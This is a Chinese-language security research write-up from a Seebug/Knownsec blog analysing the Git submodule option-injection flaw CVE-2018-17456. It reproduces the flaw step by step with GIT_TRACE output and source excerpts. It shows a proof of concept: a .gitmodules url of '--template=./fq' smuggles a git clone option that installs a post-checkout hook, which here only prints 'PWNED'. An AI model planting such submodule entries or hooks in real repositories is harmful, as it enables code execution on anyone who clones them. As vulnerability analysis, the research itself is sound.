Git Submodule 漏洞(CVE-2018-17456)分析

作者:Hcamael@知道創宇404實驗室
國慶節的時候,Git爆了一個RCE的漏洞,放假回來進行應急,因爲公開的相關資料比較少,挺頭大的,搞了兩天,RCE成功了

收集資料

一開始研究這個漏洞的時候,網上公開的資料非常少,最詳細的也就github blog [1] 的了。

得知發現該漏洞的作者是 @joernchen , 去翻了下他的twitter,找到了一篇還算有用的推文:

另外在twitter搜索 CVE-2018-17456 ,得到一篇 @_staaldraad 驗證成功的推文:

可惜打了馬賽克,另外還通過Google也零零散散找到一些有用的信息(url都找不到了),比如該漏洞無法在Windows上覆現成功,因爲 : 在Windows上不是有效的文件名。

研究分析

網上資料太少,只憑這點資料無法完成該漏洞的復現,所以只能自己通過源碼、調試進行測試研究了。

使用 woboq_codebrowser 生成了 git v2.19.1 最新版的源碼 [2] ,方便審計。

通過源碼發現在 git 命令前使用 GIT_TRACE=1 能開啓git自帶的命令跟蹤,跟蹤git的 run_command

首先創建一個源,並創建其子模塊(使用git v2.19.0進行測試):

$ git --version
git version <span class="m">2</span>.19.0.271.gfe8321e.dirty
$ mkdir evilrepo
$ <span class="nb">cd</span> evilrepo/
$ git init .
Initialized empty Git repository in /home/ubuntu/evilrepo/.git/
$ git submodule add https://github.com/Hcamael/hello-world.git test1
Cloning into <span class="s1">'/home/ubuntu/evilrepo/test1'</span>...
remote: Enumerating objects: <span class="m">3</span>, <span class="k">done</span>.
remote: Counting objects: <span class="m">100</span>% <span class="o">(</span><span class="m">3</span>/3<span class="o">)</span>, <span class="k">done</span>.
remote: Total <span class="m">3</span> <span class="o">(</span>delta <span class="m">0</span><span class="o">)</span>, reused <span class="m">0</span> <span class="o">(</span>delta <span class="m">0</span><span class="o">)</span>, pack-reused <span class="m">0</span>
Unpacking objects: <span class="m">100</span>% <span class="o">(</span><span class="m">3</span>/3<span class="o">)</span>, <span class="k">done</span>.
$ cat .gitmodules
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">path</span> <span class="o">=</span> test1
    <span class="nv">url</span> <span class="o">=</span> https://github.com/Hcamael/hello-world.git

從蒐集到的資料看,可以知道,該漏洞的觸發點是url參數,如果使用 - 開始則會被解析成參數,所以嘗試修改url

$ cat .gitmodules
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">path</span> <span class="o">=</span> test1
    <span class="nv">url</span> <span class="o">=</span> -test
$ rm -rf .git/modules/test1/
$ rm test1/.git
修改.git/config
$ cat .git/config
<span class="o">[</span>core<span class="o">]</span>
    <span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span>
    <span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span>
    <span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>

這裏可以選擇把submodule的數據刪除,可以可以選擇直接修改url

$ cat .git/config
<span class="o">[</span>core<span class="o">]</span>
    <span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span>
    <span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span>
    <span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">active</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">url</span> <span class="o">=</span> -test
$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init

從輸出結果中,我們可以看到一句命令:

git.c:415               trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1
error: unknown switch `t'

我們設置的 -test git clone 識別爲 -t 參數,漏洞點找到了,下面需要考慮的是,怎麼利用 git clone 參數執行命令?

繼續研究,發現git有處理特殊字符,比如空格:

$ cat .git/config
<span class="o">[</span>core<span class="o">]</span>
    <span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span>
    <span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span>
    <span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">active</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">url</span> <span class="o">=</span> -te st

$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init
.....
git.c:415               trace: built-in: git submodule--helper clone --path test1 --name test1 --url <span class="s1">'-te st'</span>
.....
git.c:415               trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 <span class="s1">'-te st'</span> /home/ubuntu/evilrepo/test1
.....

如果有特殊字符,則會加上單引號

翻了下源碼,找到了過濾的函數 [3] ,是一個白名單過濾

只有大小寫字母,數字和下面這幾種特殊字符纔不會加上單引號:

static const char ok_punct[] = "+,-./:=@_^";

感覺這空格是繞不過了(反正我繞不動)

接下來繼續研究如果利用參數進行命令執行

在翻twitter的過程中還翻到了之前一個Git RCE(CVE-2018-11235) [4] 的文章,發現是利用hook來達到RCE的效果,在結合之前 @_staaldraad 驗證成功的推文

可以很容易的想到一個方法,不過在講這個方法前,先講一些 git submodule 的基礎知識點吧

git submodule機制簡單講解

首先看看 .gitmodules 的幾個參數:

<span class="k">[submodule "test1"]</span>
    <span class="na">path</span> <span class="o">=</span> <span class="s">test2</span>
<span class="s">    url = test3</span>

test1 表示的是submodule name,使用的參數是 --name ,子項目 .git 目錄的數據會被儲存到 .git/modules/test1/ 目錄下

test2 表示的是子項目儲存的路徑,表示子項目的內容將會被儲存到 ./test2/ 目錄下

test3 這個就很好理解,就是子項目的遠程地址,如果是本地路徑,就是拉去本地源

把本地項目push到遠程,是無法把 .git 目錄push上去的,只能push .gitmodules 文件和 test2 目錄

那麼遠程怎麼識別該目錄爲submodule呢?在本地添加submodule的時候,會在 test2 目錄下添加一個.git文件(在前面被我刪除了,可以重新添加一個查看其內容)

$ cat test2/.git
gitdir: ../.git/modules/test1

指向的是該項目的 .git 路徑,該文件不會被push到遠程,但是在push的時候,該文件會讓git識別出該目錄是submodule目錄,該目錄下的其他文件將不會被提交到遠程,並且在遠程爲該文件創建一個鏈接,指向submodule地址:

(我個人體會,可以看成是Linux下的軟連接)

這個軟連接是非常重要的,如果遠程test2目錄沒有該軟連接, .gitmodules 文件中指向該路徑的子項目在給clone到本地時(加了--recurse-submodules參數),該子項目將不會生效。

理解了submodule大致的工作機制後,就來說說RCE的思路

我們可以把url設置爲如下:

url = --template=./template

這是一個模板選項,詳細作用自己搜下吧

在設置了該選項的情況下,把子項目clone到本地時,子項目的 .git 目錄被放到 .git/modules/test1 目錄下,然後模板目錄中,規定的幾類文件也會被copy到 .git/modules/test1 目錄下。這幾類文件其中就是hook

所以,只有我們設置一個 ./template/hook/post-checkout ,給 post-checkout 添加可執行權限,把需要執行的命令寫入其中,在子項目執行 git chekcout 命令時,將會執行該腳本。

$ mkdir -p fq/hook
$ cat fq/hook/post-checkout
<span class="c1">#!/bin/sh</span>

date
<span class="nb">echo</span> <span class="s1">'PWNED'</span>
$ chmod +x fq/hook/post-checkout
$ ll
total <span class="m">24</span>
drwxrwxr-x  <span class="m">5</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:48 ./
drwxr-xr-x <span class="m">16</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:48 ../
drwxrwxr-x  <span class="m">3</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:47 fq/
drwxrwxr-x  <span class="m">8</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">15</span>:59 .git/
-rw-rw-r--  <span class="m">1</span> ubuntu ubuntu   <span class="m">57</span> Oct <span class="m">12</span> <span class="m">16</span>:48 .gitmodules
drwxrwxr-x  <span class="m">2</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:46 test2/
$ cat .gitmodules
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">path</span> <span class="o">=</span> test2
    <span class="nv">url</span> <span class="o">=</span> --template<span class="o">=</span>./fq
$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init

設置好了PoC,再試一次,發現還是報錯失敗,主要問題如下:

git.c:415               trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/evilrepo/test2
fatal: repository '/home/ubuntu/evilrepo/test2' does not exist
fatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed

來解析下該命令:

git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}

我們把 {url} 設置爲參數以後, /home/ubuntu/evilrepo/{path} 就變成源地址了,該地址被判斷爲本地源目錄,所以會查找該目錄下的 .git 文件,但是之前說了,因爲該目錄被遠程設置爲軟連接,所以clone到本地不會有其他文件,所以該目錄是不可能存在 .git 目錄的,因此該命令執行失敗

再來看看是什麼命令調用的該命令:

git.c:415               trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq

解析下該命令:

git submodule--helper clone --path {path} --name {name} --url {url}

path, name, url都是我們可控的,但是都存在過濾,過濾規則同上面說的url白名單過濾規則。

該命令函數 -> [5]

我考慮過很多,path或name設置成 --url=xxxxx

都失敗了,因爲 --path --name 參數之後沒有其他數據了,所以 --url=xxxx 都會被解析成name或path,這裏就缺一個空格,但是如果存在空格,該數據則會被加上單引號,目前想不出bypass的方法

所以該命令的利用上毫無進展。。。。

所以關注點又回到了上一個 git clone 命令上:

git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}

strbuf_addf(&sb, "%s/modules/%s", get_git_dir(), name);
sm_gitdir = absolute_pathdup(sb.buf);

/home/ubuntu/evilrepo/.git/modules/{name} 路徑是直接使用上面代碼進行拼接,也找不到繞過的方法

最後就是 /home/ubuntu/evilrepo/{path} ,如果git能把這個解析成遠程地址就好了,所以想了個構造思路: /home/ubuntu/evilrepo/[email protected]:Hcamael/hello-world.git

但是失敗了,還是被git解析成本地路徑,看了下path的代碼:

if (!is_absolute_path(path)) {
        strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
        path = strbuf_detach(&sb, NULL);
    } else
        path = xstrdup(path);

因爲 [email protected]:Hcamael/hello-world.git 被判斷爲非絕對路徑,所以在前面加上了當前目錄的路徑,到這就陷入了死衚衕了找不到任何解決辦法

RCE

在不斷的研究後發現, [email protected]:Hcamael/hello-world.git 在低版本的git中竟然執行成功了。

首先看圖:

使用的是ubuntu 16.04,默認的git是2.7.4,然後查了下該版本git的源碼,發現該版本中並沒有下面這幾行代碼

if (!is_absolute_path(path)) {
        strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
        path = strbuf_detach(&sb, NULL);
    } else
        path = xstrdup(path);

所以構造的命令變成了:

$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template<span class="o">=</span>./fq [email protected]:Hcamael/hello-world.git

之後把我執行成功的結果和 @_staaldraad 推文中的截圖進行對比,發現幾乎是一樣的,所以猜測這個人復現的git環境也是使用低版本的git

總結

之後翻了下git的提交歷史,發現2016年就已經添加了對path是否是絕對路徑的判斷。根據我的研究結果,CVE-2018-17456漏洞可以造成git選項參數注入,但是隻有低版本的git才能根據該CVE造成RCE的效果。

引用

  1. https://blog.github.com/2018-10-05-git-submodule-vulnerability/
  2. https://0x48.pw/git/
  3. https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty
  4. https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
  5. https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone

Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址: https://paper.seebug.org/716/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章